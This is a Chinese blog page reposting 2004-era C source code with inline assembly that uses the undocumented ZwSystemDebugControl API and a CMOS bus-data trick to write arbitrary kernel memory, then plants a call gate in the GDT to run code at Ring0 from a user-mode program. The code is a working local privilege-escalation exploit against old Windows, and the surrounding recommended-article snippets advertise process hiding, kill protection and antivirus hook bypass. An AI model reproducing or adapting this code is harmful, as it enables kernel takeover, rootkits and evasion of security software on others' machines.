利用NtSystemDebugControl进入Ring0的源代码

ring0下使用内核重载绕过杀软hook 内核重载听起来是一个很高大上的概念,但其实跟PE的知识息息相关,那么为什么会有内核重载的出现呢? 我们知道从ring3进入ring0需要通过int2e/sysenter(syscall)进入ring0,而进入ring0之后又会通过KiFastCallEntry/KiSystemService去找SSDT表对应响应的内核函数,那么杀软会在这两个地方进行重点盯防。 首先是对int2e/sysenter的盯防,我们知道大多数函数都是通过一系列的调用链,最终找到ntdll.dll里面的函数,找到调用号后通过int 阅读详情
Sorry,2004年的东东现在才发,呵呵!
/*

* Discovered and coded by randnut Jan 25, 2004

* I just add my callgate routine, hope you enjoy it, hehe.  ------zjjmj2002

*/

#include <windows.h>

#include <stdio.h>

typedef int NTSTATUS;

typedef DWORD ULONG_PTR;

#define NTAPI __stdcall

const IA32_SYSENTER_CS = 0x174;

const IA32_SYSENTER_ESP = 0x175;

const IA32_SYSENTER_EIP = 0x176;

const SelCodeKernel = 0x8;

const CmosIndx = 0x0E;        // CMOS Diagnostic Status

const RdWrIoPort = 0x80;

#define FCHK(a) if (!(a)) {printf(#a " failed/n"); return 0;}

#define FCHK2(a,b) if (!(a)) {printf(#a " failed/n"); goto b;}

typedef enum _DEBUG_CONTROL_CODE {

DebugSysReadIoSpace = 14,

DebugSysWriteIoSpace = 15,

DebugSysReadMsr = 16,

DebugSysWriteMsr = 17,

DebugSysReadBusData = 18,

DebugSysWriteBusData = 19,

} DEBUG_CONTROL_CODE;


typedef enum _BUS_DATA_TYPE {

ConfigurationSpaceUndefined = -1,

Cmos,

EisaConfiguration,

Pos,

CbusConfiguration,

PCIConfiguration,

VMEConfiguration,

NuBusConfiguration,

PCMCIAConfiguration,

MPIConfiguration,

MPSAConfiguration,

PNPISAConfiguration,

SgiInternalConfiguration,

MaximumBusDataType

} BUS_DATA_TYPE, *PBUS_DATA_TYPE;

// See HalGetBusDataByOffset()/HalSetBusDataByOffset() for explanations of

struct MyCallGate
{

WORD      OFFSETL;

WORD      SELECTOR;

BYTE      DCOUNT;

BYTE      GTYPE;

WORD      OFFSETH;

DWORD     CodeLimit;

DWORD     CodeBase;

};


typedef struct _BUS_STRUCT {

ULONG  Offset;

PVOID  Buffer;

ULONG  Length;

BUS_DATA_TYPE  BusDataType;

ULONG  BusNumber;

ULONG  SlotNumber;

} BUS_STRUCT;

typedef

NTSTATUS

(NTAPI *PZwSystemDebugControl)(

DEBUG_CONTROL_CODE ControlCode,

PVOID InputBuffer,

ULONG InputBufferLength,

PVOID OutputBuffer,

ULONG OutputBufferLength,

PULONG ReturnLength

);

PZwSystemDebugControl ZwSystemDebugControl = NULL;


int CmosRead(int offs, BYTE** ppAddr = NULL)

{

BYTE buf;

BUS_STRUCT bus;

bus.BusDataType = Cmos;

bus.BusNumber = 0;

bus.SlotNumber = offs;

bus.Buffer = ppAddr ? *ppAddr : &buf;

bus.Offset = 0;

bus.Length = 1;

if (ZwSystemDebugControl(DebugSysReadBusData, &bus, sizeof(bus), NULL, 0,

NULL) < 0)

return -1;

else

return ppAddr ? 0x100 : buf;

}


int CmosWrite(int offs, BYTE val, BYTE** ppAddr = NULL)

{

BUS_STRUCT bus;

bus.BusDataType = Cmos;

bus.BusNumber = 0;

bus.SlotNumber = offs;

bus.Buffer = ppAddr == NULL ? &val : *ppAddr;

bus.Offset = 0;

bus.Length = 1;

return ZwSystemDebugControl(DebugSysWriteBusData, &bus, sizeof(bus), NULL,

0, NULL) >= 0;

}


int WriteMem(DWORD MemAddr, BYTE Value)

{
int OldVal = CmosRead(CmosIndx);
BYTE* p = (BYTE*)(ULONG_PTR)MemAddr;
CmosWrite(CmosIndx, Value);
CmosRead(CmosIndx, &p);
CmosWrite(CmosIndx, OldVal);

return 1;
}

int EnablePrivilege(HANDLE hToken, LPCSTR lpszName, int enable)

{

TOKEN_PRIVILEGES tok;

tok.PrivilegeCount = 1;

tok.Privileges[0].Attributes = enable ? SE_PRIVILEGE_ENABLED : 0;

FCHK(LookupPrivilegeValue(NULL, lpszName, &tok.Privileges[0].Luid));

FCHK(AdjustTokenPrivileges(hToken, FALSE, &tok, sizeof(tok), NULL, NULL));

return 1;

}

void CallGate()
{   

MyCallGate    CallGate;
DWORD        GDTBase;   
    _asm
    {           
        PUSH EDX
        SGDT FWORD PTR SS:[ESP-2]
        POP EDX
        MOV GDTBase,EDX
        MOV CallGate.OFFSETL,DX
        SHR EDX,16
        MOV CallGate.OFFSETH,DX
    }   
   
    CallGate.SELECTOR = 0x358;
    CallGate.DCOUNT = 0;
    CallGate.GTYPE = 0xec;
    CallGate.CodeLimit = 0xffff;
    CallGate.CodeBase = 0xcf9a00;    //Build My CallGate
   
    WriteMem(GDTBase, 0xc3);
   
    GDTBase = GDTBase+0x350;
    for ( int i=0 ; i<=15 ; i++ )
    {
        BYTE p;
        DWORD *q;
       
        _asm
        {
            LEA ESI,CallGate
            ADD ESI,i
            XOR EAX,EAX
            LODSB
            MOV p,AL   
        }   
       
       
        WriteMem(GDTBase+i, p);
    }
} 

int main(int argc, char* argv[])
{
    HMODULE hNtdll;
    FCHK((hNtdll = LoadLibrary("ntdll.dll")) != NULL);
    FCHK((ZwSystemDebugControl = (PZwSystemDebugControl)GetProcAddress(hNtdll,
"ZwSystemDebugControl")) != NULL);

    HANDLE hToken;
    FCHK(OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES |
TOKEN_QUERY, &hToken));
    FCHK(EnablePrivilege(hToken, SE_DEBUG_NAME, 1));
       
    CallGate();
    return 0;   
}
 
易语言源码易语言内核读写内存源码.rar 立即下载

相关推荐

易语言修复工具

可以修复易语言源码错误!源码损坏打不开都能用这个修复,修复完会生成一个备份

(转载)对Native API NtSystemDebugControl的分析

对Native API NtSystemDebugControl的分析转自:http://www.xfocus.net创建时间:2004-08-05文章属性:原创文章提交:tombkeeper (t0mbkeeper_at_hotmail.com)对Native API NtSystemDebugControl的分析作  者:于旸邮  件:tombkeeper[0x40]nsfocus[0x2e]

Kendiv's Box 2916

易语言驱动进程保护模块

易语言驱动进程保护模块 隐藏进程 阻止被关闭

VB中通过NtSystemDebugControl访问内核空间

Option ExplicitPrivate Declare Function AdjustTokenPrivileges _Lib "advapi32.dll" (ByVal TokenHandle As Long, _ByVal DisableAllPriv As Long, _ByRef NewState As TOKEN_PRIVILEGES, _ByVal BufferLength...

資料為我做事 242

易语言隐藏进程模块

易语言隐藏进程模块源码 系统结构:隐藏进程,用保护型打开进程,提升进程权限,写物理内存,读物理内存,取进程EProcess,十六文本至长整数,取字节集指针_,NtSystemDebugControl,取自进程ID,关闭系

易语言隐藏程序工具

易语言隐藏程序工具源码系统结构:隐藏托盘图标,取托盘区句柄,GetButtonInfo,FindWindow,FindWindowEx,SendMessage,GetWindowThreadProcessId,OpenProcess,DuplicateHandle,GetCurrentProcess,CloseHandle,VirtualAllocEx,WritePro

驱动中获取PsActiveProcessHead变量地址的五种方法

PsActiveProcessHead的定义: 在windows系统中,所有的活动进程都是连在一起的,构成一个双链表,表头是全局变量PsActiveProcessHead,当一个进程被创建时,其ActiveProcessList域将被作为节点加入到此链表中;当进程被删除时,则从此链表中移除,如果windows需要枚举所有的进程,直接操纵此链表即可。 方法一:从Kd...

weixin_33949359的博客 302

易语言NTAPI进程操纵的代码

今天小编就为大家分享一篇关于易语言NTAPI进程操纵的代码,小编觉得内容挺不错的,现在分享给大家,具有很好的参考价值,需要的朋友一起跟随小编来看看吧

ZwSystemDebugControl函数

使用ZwSystemDebugControl,可以在ring3下读写内核空间虚拟内存 //读取 MEMORY_CHUNKS QueryBuff; DWORD *address2=new DWORD[dwServices]; QueryBuff.Address = dwKernelBase+dwKiServiceTable; QueryBuff.Data = address2;

mergerly的专栏 3683

华为无线WiFi实战:基于802.1x与NPS的企业级认证部署指南

本文提供了一份详尽的华为无线WiFi企业级认证部署实战指南。通过整合802.1x协议与Windows NPS服务器,构建基于AD域账号的安全认证体系,彻底解决传统WiFi密码共享带来的安全风险。文章详细拆解了从NPS服务器配置、证书部署到华为AC端RADIUS模板、AAA方案、认证域及VAP模板调用的全流程,并附有终端连接测试与常见故障排查方法,助力企业实现高效、安全的无线网络接入管理。

weixin_29239661的博客 270

别再手搓SVG了!用Vue3+SVG.js快速搭建电力系统拓扑图(附完整代码)

本文介绍了如何利用Vue3和SVG.js实现电力系统拓扑图的低代码开发,通过组件化和响应式数据绑定,大幅提升开发效率。文章详细解析了SVG.js的核心功能,包括图形创建链式API、动态属性绑定和高级图形操作,并提供了断路器组件的完整实现代码。此外,还分享了性能优化策略和调试技巧,帮助开发者应对大规模拓扑图的挑战。

weixin_27717759的博客 354

(转载)获取Windows 系统的内核变量

获取Windows 系统的内核变量转自:http://www.xfocus.net创建时间:2004-08-05文章属性:原创文章提交:tombkeeper (t0mbkeeper_at_hotmail.com)获取Windows 系统的内核变量作  者:于旸邮  件:tombkeeper[0x40]nsfocus[0x2e]com        tombkeeper[0x40]xfocus[0x

Kendiv's Box 2050

01|无代码开发 | 如何使用Zion实现导航网站制作

以上就是我制作导航网站的心得,分享给大家,作为一个小白想要独立搭建一个网站还是比较困难的,而在Zion不仅可以用可视化的方法进行搭建,甚至还可以一键发布,不用考虑服务器域名啥的问题,真是太方便了。

2301_76262110的博客 1390

利用GDT进入RING0

BOOL CallRing0_NtSystemDebugControl_GDT(PVOID pvRing0FuncAddr, PVOID pParam){      PLDT_DESCRIPTOR pLDTDescriptor;    GDTR gdtr;    WORD CallgateAddr[3];    WORD wGDTIndex = 1;    ULONG nRetLength;   

984

【FPGA】安路FPGA下载器驱动安装教程

#来自学渣的问候 最近正在参加19年的FPGA创新设计大赛,然后我们选择了安路(全名:上海安路信息科技有限公司)的 FPGA 开发板。安路算是国产FPGA中还不错的一家,和紫光一样,除了自主生产的FPGA,也开始拥有了自己的编译环境。 好了。言归正传,写这篇博客的原因是,前几天在安装 安路 的编译环境和下载器驱动的时候,出了点问题,弄得心烦意乱。所以打算解决之后写篇博客,避开这个神奇的问题。 首先...

Ninquelote的博客 2万+

逆向小记 bd-ticket-guard-client-cert | bd-ticket-guard-client-data 通过现象看本质

依然没什么花哨的直接解析出来,既然这是个X509证书,那么要么是服务器下发,要么是自己生成喽,但是如果是本地直接生成,那服务器还校验个鬼哦!既然是服务器下发的,那服务器又是怎么校验这个证书是自己下发的呢,这就要讲到CA验证了,首先根据上图我们发现证书的Issuer"(颁发者)是。怎么来的呢,因为涉及到逆向咱就不讲了,其实也是涉及到非对称加密的,就是客户端用私钥去签名数据,服务器用上传过去的证书公钥验签的过程!当服务器收到这个证书的时候,会做几件事,首先用自己的公钥解开签名获得解密后的证书hash。

2503_90751789的博客 1205

Ring0下的病毒诊断程序终于完成了

在蓝了我N次屏的情况下,昨天完成了Ring0秒 的病毒诊断分析程序,初步测试效果还不错,自己模拟了些感染型病毒也能智能分辨出来,试着调试了些程序还算稳定,冰刃通过,但是在调试自己的进程管理器竟然蓝了,现在还在找原因。程序原理:使用SSDT HOOK来实现API的监管。对文件,进程,内存(只针对写,已经读写内核空间的函数) ,线程,驱动的加载进行了拦截以及一些常用的注入方式也进行了拦截。拦截函数

chenhui530的专栏 4667

全球尺度遥感云计算平台:Google Earth Engine

Google Earth Engine(GEE)是一个基于 Google 云服务基础设施的遥感大数据分析平台,它结合 Google 强大的云计算能力与 NASA、ESA、NOAA 等机构的空间数据,用于在全球尺度解决一些非常重要的社会问题:森林退化、粮食安全、灾害预警、水资源管理、气候监测以及环境保护等。 GEE 官方宣传视频(版权归 Google 所有) Spacefan 的视频 ·303播放 发展背景 2008 年,手握 40 多年 LandSat 数据的美国地质调查局(USG...

qq_41240287的博客 5014

三两行代码实现进程防杀,免驱动,IceSword,WSysCheck等无效.

其实这个已经是一个很老的技巧了,今天挖出来写到blog上。windows在强制结束进程的时候会先结束掉所有的线程,而结束线程调用的是:PspTerminateThreadByPointer,这个函数很有意思。看看就知道了。 它判断ETHREAD里面的CrossThreadFlags;的值,如果这个值等于PS_CROSS_THREAD_FLAGS_SYSTEM ,即是一个系统线程,那么直接返回拒

KeSummer的专栏 1万+

SIMATIC S7-1200, S7-1500 PID 控制[手册]

SIMATIC S7-1200, S7-1500 PID 控制[手册]

大中型超市收银系统(可直接运行)

光步前台收银系统系统功能:商品销售、商品退货、挂单、收银员权限、会员销售、单品取消、整单取消、商品查询、脱机销售、脱机数据上传,基本资料下载,开钱箱、小票打印、收款结算,支持多币种付款方式(现金、储值卡、礼券、微信等),支持多种促销。运行环境:.net 4.0登陆信息用户名:1001 密码:123456内置商品信息,商品编码可输入00001000 - 00010000,测试效果相关功能键F5 结算 F9挂单 F11商品查询 F8退货 Insert单品取消 Del整单取消 F12开钱箱F2 会员 Ctrl+Z退出系统 Home 锁屏 相关源码待公开

驱动编程:注册表回调,进程回调,文件回调,进程隐藏断链,窗口保护

#include "struct.h" #define debug_pott_offset 0x298 //#define debug_pott_offset 0x1f0 DWORD changge_size_NtClose = 0; //NtClose被修改了N字节 PUCHAR ori_head_NtClose = NULL; //NtClose的前N字节数组 PVOID ori_addr_NtClose = NULL; //NtCl..

追逐光芒,追随内心 2712

老版QQ原生表情gif动态

这是老版的QQ表情,不过全是动态的的,Windows照片查看器是不会动的,可以右击用浏览器打开查看,再说一遍是老版的,只是分享给宁愿用老版也要动态的人。

什么是ring0-ring3

大家可能听说过某个代码需要运行在ring 0的说法。但是ring 0究竟是什么,今天就给大家介绍下。 权限控制 我们都知道计算机中运行着许多的软件,有些软件是和硬件打交道的,比如驱动软件,操作系统软件,有些软件只是运行在操作系统之上的,比如浏览器,文本编辑软件等。 为什么要这样设计? 这是为了控制运行软件的权限,让一些特定的软件才能执行某些“危险”的行为,比如读写特定的内存等。 这里就引申出了我...

黄腾霄的博客 6799

Data-Structures-and-Algorithm-Analysis-in-Java.pdf

作者: Weiss, Mark A. 出版社: Addison Wesley Data Structures and Algorithm Analysis in Java is an “advanced algorithms” book that fits between traditional CS2 and Algorithms Analysis courses. In the old ACM Curriculum Guidelines, this course was known as CS7. This text is for readers who want to learn good programming and algorithm analysis skills simultaneously so that they can develop such programs with the maximum amo...

Ring0和Ring3

Intel的CPU将特权级别分为4个级别:RING0,RING1,RING2,RING3。 Windows只使用RING0和RING3,RING0只给操作系统用,RING3谁都能用。 如果普通应用程序企图执行RING0指令,则Windows会显示“非法指令”错误信息。因为有CPU的特权级别作保护。 ring0是指CPU的运行级别,ring0是最高级别,ring1次之,ring2更次之…… 以Li...

weixin_43742894的博客 3182

对Native API NtSystemDebugControl的分析

创建时间:2004-08-05 文章属性:原创 文章提交:tombkeeper (t0mbkeeper_at_hotmail.com) 对Native API NtSystemDebugControl的分析 作 者:于旸 邮 件:tombkeeper[0x40]nsfocus[0x2e]com tombkeeper[0x40]xfocus[0x2e]o...

weixin_30437481的博客 173

CPU将特权级别分为4个级别:RING0,RING1,RING2,RING3是什么呢?

百度百科:ring0以及其他 ring:包围; 环绕; 通俗讲就是一圈一圈的,离得近的标号为:0。其次为,1。以此类推。 Windows 的内存可以被分为两个层面:物理内存和虚拟内存。 其中,物理内存比较复杂,需要进入 Windows 内核级别 ring0 才能看到。 通常,在用户模式下,我们用调试器看到的内存地址都是虚拟内存。 与此无关的一个图: ...

HWP 5956
上一篇: 传说瑞星主动的一段代码
下一篇: 利用GDT进入RING0
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值